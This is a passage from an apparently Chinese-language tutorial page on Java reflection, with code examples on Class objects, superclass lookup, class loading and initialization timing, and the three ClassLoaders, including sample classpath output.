</span></span><span style="display:flex;"><span>        Class c3 <span style="color:#f92672">=</span> User.<span style="color:#a6e22e">class</span>;
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(c1.<span style="color:#a6e22e">hashCode</span>() <span style="color:#f92672">==</span> c2.<span style="color:#a6e22e">hashCode</span>() <span style="color:#f92672">&amp;&amp;</span> c2.<span style="color:#a6e22e">hashCode</span>() <span style="color:#f92672">==</span> c3.<span style="color:#a6e22e">hashCode</span>()); <span style="color:#75715e">//一个类在内存中只有一个Class对象</span>
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">User</span>{
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">private</span> String name;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">private</span> <span style="color:#66d9ef">int</span> id;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">private</span> <span style="color:#66d9ef">int</span> age;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">@Override</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> String <span style="color:#a6e22e">toString</span>() {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;User{&#34;</span> <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;name=&#39;&#34;</span> <span style="color:#f92672">+</span> name <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;\&#39;&#39;</span> <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;, id=&#34;</span> <span style="color:#f92672">+</span> id <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;, age=&#34;</span> <span style="color:#f92672">+</span> age <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#39;}&#39;</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#a6e22e">User</span>(){}
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#a6e22e">User</span>(String name, <span style="color:#66d9ef">int</span> id, <span style="color:#66d9ef">int</span> age) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">this</span>.<span style="color:#a6e22e">name</span> <span style="color:#f92672">=</span> name;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">this</span>.<span style="color:#a6e22e">id</span> <span style="color:#f92672">=</span> id;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">this</span>.<span style="color:#a6e22e">age</span> <span style="color:#f92672">=</span> age;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> String <span style="color:#a6e22e">getName</span>() {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> name;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">setName</span>(String name) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">this</span>.<span style="color:#a6e22e">name</span> <span style="color:#f92672">=</span> name;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">int</span> <span style="color:#a6e22e">getId</span>() {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> id;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">setId</span>(<span style="color:#66d9ef">int</span> id) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">this</span>.<span style="color:#a6e22e">id</span> <span style="color:#f92672">=</span> id;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">int</span> <span style="color:#a6e22e">getAge</span>() {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> age;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">setAge</span>(<span style="color:#66d9ef">int</span> age) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">this</span>.<span style="color:#a6e22e">age</span> <span style="color:#f92672">=</span> age;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="2-获得父类对象">2. 获得父类对象</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#f92672">package</span> com.onlineframework;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span> <span style="color:#66d9ef">class</span> <span style="color:#a6e22e">ReflectionTest02</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">main</span>(String<span style="color:#f92672">[]</span> args) <span style="color:#66d9ef">throws</span> ClassNotFoundException {
</span></span><span style="display:flex;"><span>        Person p <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> Student();
</span></span><span style="display:flex;"><span>        Class c1 <span style="color:#f92672">=</span> p.<span style="color:#a6e22e">getClass</span>();
</span></span><span style="display:flex;"><span>        Class c2 <span style="color:#f92672">=</span> Class.<span style="color:#a6e22e">forName</span>(<span style="color:#e6db74">&#34;com.onlineframework.Person&#34;</span>);
</span></span><span style="display:flex;"><span>        Class c3 <span style="color:#f92672">=</span> Person.<span style="color:#a6e22e">class</span>;
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(c1.<span style="color:#a6e22e">hashCode</span>());
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(c2.<span style="color:#a6e22e">hashCode</span>());
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(c3.<span style="color:#a6e22e">hashCode</span>());
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//内置包装类都有一个TYPE属性</span>
</span></span><span style="display:flex;"><span>        Class<span style="color:#f92672">&lt;</span>Integer<span style="color:#f92672">&gt;</span> c4 <span style="color:#f92672">=</span> Integer.<span style="color:#a6e22e">TYPE</span>;
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(c4);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//获得父类对象</span>
</span></span><span style="display:flex;"><span>        Class c5 <span style="color:#f92672">=</span> c1.<span style="color:#a6e22e">getSuperclass</span>();
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(c5);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Person</span>{
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> String name;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">int</span> age;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Student</span> <span style="color:#66d9ef">extends</span> Person{
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#a6e22e">Student</span>(){
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">this</span>.<span style="color:#a6e22e">name</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;stu&#34;</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Teacher</span> <span style="color:#66d9ef">extends</span> Person{
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#a6e22e">Teacher</span>(){
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">this</span>.<span style="color:#a6e22e">name</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;teach&#34;</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="3-各种类型的class对象">3. 各种类型的Class对象</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#f92672">package</span> com.onlineframework;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> java.lang.annotation.ElementType;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span> <span style="color:#66d9ef">class</span> <span style="color:#a6e22e">ReflectionTest04</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">main</span>(String<span style="color:#f92672">[]</span> args) {
</span></span><span style="display:flex;"><span>        Class objectClass <span style="color:#f92672">=</span> Object.<span style="color:#a6e22e">class</span>;   <span style="color:#75715e">//类</span>
</span></span><span style="display:flex;"><span>        Class comparableClass <span style="color:#f92672">=</span> Comparable.<span style="color:#a6e22e">class</span>; <span style="color:#75715e">//接口</span>
</span></span><span style="display:flex;"><span>        Class strArrayClass <span style="color:#f92672">=</span> String<span style="color:#f92672">[]</span>.<span style="color:#a6e22e">class</span>;<span style="color:#75715e">//一维数组</span>
</span></span><span style="display:flex;"><span>        Class intArrayClass <span style="color:#f92672">=</span> <span style="color:#66d9ef">int</span><span style="color:#f92672">[][]</span>.<span style="color:#a6e22e">class</span>;<span style="color:#75715e">//二维数组</span>
</span></span><span style="display:flex;"><span>        Class overrideClass <span style="color:#f92672">=</span> Override.<span style="color:#a6e22e">class</span>;<span style="color:#75715e">//注解</span>
</span></span><span style="display:flex;"><span>        Class elementTypeClass <span style="color:#f92672">=</span> ElementType.<span style="color:#a6e22e">class</span>; <span style="color:#75715e">//枚举</span>
</span></span><span style="display:flex;"><span>        Class integerClass <span style="color:#f92672">=</span> Integer.<span style="color:#a6e22e">class</span>;<span style="color:#75715e">//基本数据类型</span>
</span></span><span style="display:flex;"><span>        Class voidClass <span style="color:#f92672">=</span> <span style="color:#66d9ef">void</span>.<span style="color:#a6e22e">class</span>;<span style="color:#75715e">//void</span>
</span></span><span style="display:flex;"><span>        Class classClass <span style="color:#f92672">=</span> Class.<span style="color:#a6e22e">class</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(objectClass);
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(comparableClass);
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(strArrayClass);
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(intArrayClass);
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(overrideClass);
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(elementTypeClass);
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(integerClass);
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(voidClass);
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(classClass);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">int</span> <span style="color:#f92672">[]</span> a <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#66d9ef">int</span><span style="color:#f92672">[</span>10<span style="color:#f92672">]</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">int</span> <span style="color:#f92672">[]</span> b <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#66d9ef">int</span><span style="color:#f92672">[</span>20<span style="color:#f92672">]</span>;
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(a.<span style="color:#a6e22e">getClass</span>().<span style="color:#a6e22e">hashCode</span>());    <span style="color:#75715e">//只要类型与维度一样，就是同一个Class</span>
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(b.<span style="color:#a6e22e">getClass</span>().<span style="color:#a6e22e">hashCode</span>());
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(a.<span style="color:#a6e22e">getClass</span>().<span style="color:#a6e22e">hashCode</span>() <span style="color:#f92672">==</span> b.<span style="color:#a6e22e">getClass</span>().<span style="color:#a6e22e">hashCode</span>()); <span style="color:#75715e">//true</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="4-类加载的过程class对象加载的时机">4. 类加载的过程、Class对象加载的时机</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#f92672">package</span> com.onlineframework;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span> <span style="color:#66d9ef">class</span> <span style="color:#a6e22e">ReflectionTest05</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">main</span>(String<span style="color:#f92672">[]</span> args) {
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(<span style="color:#e6db74">&#34;new之前&#34;</span>);
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(A.<span style="color:#a6e22e">m</span>);
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(<span style="color:#e6db74">&#34;new之前&#34;</span>);
</span></span><span style="display:flex;"><span>        A a <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> A();
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(A.<span style="color:#a6e22e">m</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">/*
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">        * 1. 加载，会产生一个类对应的Class对象
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">        * 2. 链接，链接结束后 m = 0
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">        * 3. 初始化，
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">        *     &lt;clinit&gt;(){
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">        *       m=300;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">        *       System.out.println(&#34;静态代码块&#34;);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">        *       m=100;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">        *     }
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">        *   此时 m = 100
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">        * */</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">A</span>{
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">static</span> {
</span></span><span style="display:flex;"><span>        m<span style="color:#f92672">=</span>300;
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(<span style="color:#e6db74">&#34;静态代码块&#34;</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">int</span> m <span style="color:#f92672">=</span> 100;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#a6e22e">A</span>(){
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(<span style="color:#e6db74">&#34;无参构造&#34;</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="5-类初始化的时机">5. 类初始化的时机</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#f92672">package</span> com.onlineframework;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//类什么时候初始化？</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span> <span style="color:#66d9ef">class</span> <span style="color:#a6e22e">ReflectionTest06</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">static</span> {
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(<span style="color:#e6db74">&#34;Main init&#34;</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">main</span>(String<span style="color:#f92672">[]</span> args) <span style="color:#66d9ef">throws</span> ClassNotFoundException {
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//Son son = new Son();</span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">/*
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">          Main init
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">          Father init
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">          Son init
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">        */</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//Class.forName(&#34;com.onlineframework.Son&#34;);</span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">/*
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">          Main init
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">          Father init
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">          Son init
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">        */</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//System.out.println(Son.b); //Son类不会加载</span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">/*
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">          Main init
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">          Father init
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">          2
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">        */</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//Son[] array = new Son[5];   //不会引起任何初始化</span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">/*Main init*/</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(Son.<span style="color:#a6e22e">M</span>);      <span style="color:#75715e">//常量在链接阶段就被赋值，不引起任何初始化</span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">/*Main init*/</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Father</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">static</span> {
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(<span style="color:#e6db74">&#34;Father init&#34;</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">int</span> b <span style="color:#f92672">=</span> 2;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Son</span> <span style="color:#66d9ef">extends</span> Father{
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">static</span> {
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(<span style="color:#e6db74">&#34;Son init&#34;</span>);
</span></span><span style="display:flex;"><span>        m <span style="color:#f92672">=</span> 300;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">int</span> m <span style="color:#f92672">=</span> 100;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">final</span> <span style="color:#66d9ef">int</span> M <span style="color:#f92672">=</span> 1;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="6-三种classloader">6. 三种ClassLoader</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#f92672">package</span> com.onlineframework;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span> <span style="color:#66d9ef">class</span> <span style="color:#a6e22e">ReflectionTest07</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">main</span>(String<span style="color:#f92672">[]</span> args) <span style="color:#66d9ef">throws</span> ClassNotFoundException {
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//获取系统类的加载器</span>
</span></span><span style="display:flex;"><span>        ClassLoader systemClassLoader <span style="color:#f92672">=</span> ClassLoader.<span style="color:#a6e22e">getSystemClassLoader</span>();
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(systemClassLoader);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//系统类加载器的父类加载器  --&gt; 扩展类加载器</span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//负责jre/lib/ext目录下的jar包加载，或者 -D java.ext.dirs 指定目录下的jar包加载器</span>
</span></span><span style="display:flex;"><span>        ClassLoader parent <span style="color:#f92672">=</span> systemClassLoader.<span style="color:#a6e22e">getParent</span>();
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(parent);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//扩展类加载器的父类加载器 --&gt; 根加载器（C/C++），无法直接获取</span>
</span></span><span style="display:flex;"><span>        ClassLoader parent1 <span style="color:#f92672">=</span> parent.<span style="color:#a6e22e">getParent</span>();
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(parent1);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//sun.misc.Launcher$AppClassLoader@18b4aac2</span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//sun.misc.Launcher$ExtClassLoader@1b6d3586</span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//null</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        ClassLoader classLoader <span style="color:#f92672">=</span> Class.<span style="color:#a6e22e">forName</span>(<span style="color:#e6db74">&#34;com.onlineframework.ReflectionTest07&#34;</span>).<span style="color:#a6e22e">getClassLoader</span>();
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(classLoader);    <span style="color:#75715e">//sun.misc.Launcher$AppClassLoader@18b4aac2</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        ClassLoader classLoader1 <span style="color:#f92672">=</span> Class.<span style="color:#a6e22e">forName</span>(<span style="color:#e6db74">&#34;java.lang.Object&#34;</span>).<span style="color:#a6e22e">getClassLoader</span>();
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(classLoader1);   <span style="color:#75715e">//跟加载器：null</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(System.<span style="color:#a6e22e">getProperty</span>(<span style="color:#e6db74">&#34;java.class.path&#34;</span>));
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">/* C:\Program Files\Java\jdk1.8.0_271\jre\lib\charsets.jar;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">        C:\Program Files\Java\jdk1.8.0_271\jre\lib\deploy.jar;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">        C:\Program Files\Java\jdk1.8.0_271\jre\lib\ext\access-bridge-64.jar;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">        C:\Program Files\Java\jdk1.8.0_271\jre\lib\ext\cldrdata.jar;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">        C:\Program Files\Java\jdk1.8.0_271\jre\lib\ext\dnsns.jar;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">        C:\Program Files\Java\jdk1.8.0_271\jre\lib\ext\jaccess.jar;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">        C:\Program Files\Java\jdk1.8.0_271\jre\lib\ext\jfxrt.jar;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">        C:\Program Files\Java\jdk1.8.0_271\jre\lib\ext\localedata.jar;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">        C:\Program Files\Java\jdk1.8.0_271\jre\lib\ext\nashorn.jar;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">        C:\Program Files\Java\jdk1.8.0_271\jre\lib\ext\sunec.jar;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">        C:\Program Files\Java\jdk1.8.0_271\jre\lib\ext\sunjce_provider.jar;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">        C:\Program Files\Java\jdk1.8.0_271\jre\lib\ext\sunmscapi.jar;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">        C:\Program Files\Java\jdk1.8.0_271\jre\lib\ext\sunpkcs11.jar;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">        C:\Program Files\Java\jdk1.8.0_271\jre\lib\ext\zipfs.jar;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">        C:\Program Files\Java\jdk1.8.0_271\jre\lib\javaws.jar;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">        C:\Program Files\Java\jdk1.8.0_271\jre\lib\jce.jar;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">        C:\Program Files\Java\jdk1.8.0_271\jre\lib\jfr.jar;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">        C:\Program Files\Java\jdk1.8.0_271\jre\lib\jfxswt.jar;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">        C:\Program Files\Java\jdk1.8.0_271\jre\lib\jsse.jar;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">        C:\Program Files\Java\jdk1.8.0_271\jre\lib\management-agent.jar;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">        C:\Program Files\Java\jdk1.8.0_271\jre\lib\plugin.jar;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">        C:\Program Files\Java\jdk1.8.0_271\jre\lib\resources.jar;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">        C:\Program Files\Java\jdk1.8.0_271\jre\lib\rt.jar;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">        C:\Users\perfxlab_000\IdeaProjects\jbasic\target\classes;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">        F:\Program Files\JetBrains\IntelliJ IDEA 2021.3.1\lib\idea_rt.jar
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">       */</span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//双亲委派机制：自定义的类例如 java.lang.String 无法替代根加载器加载的类，提高安全性</span>
</span></span><span style="display:flex;"><span>    }
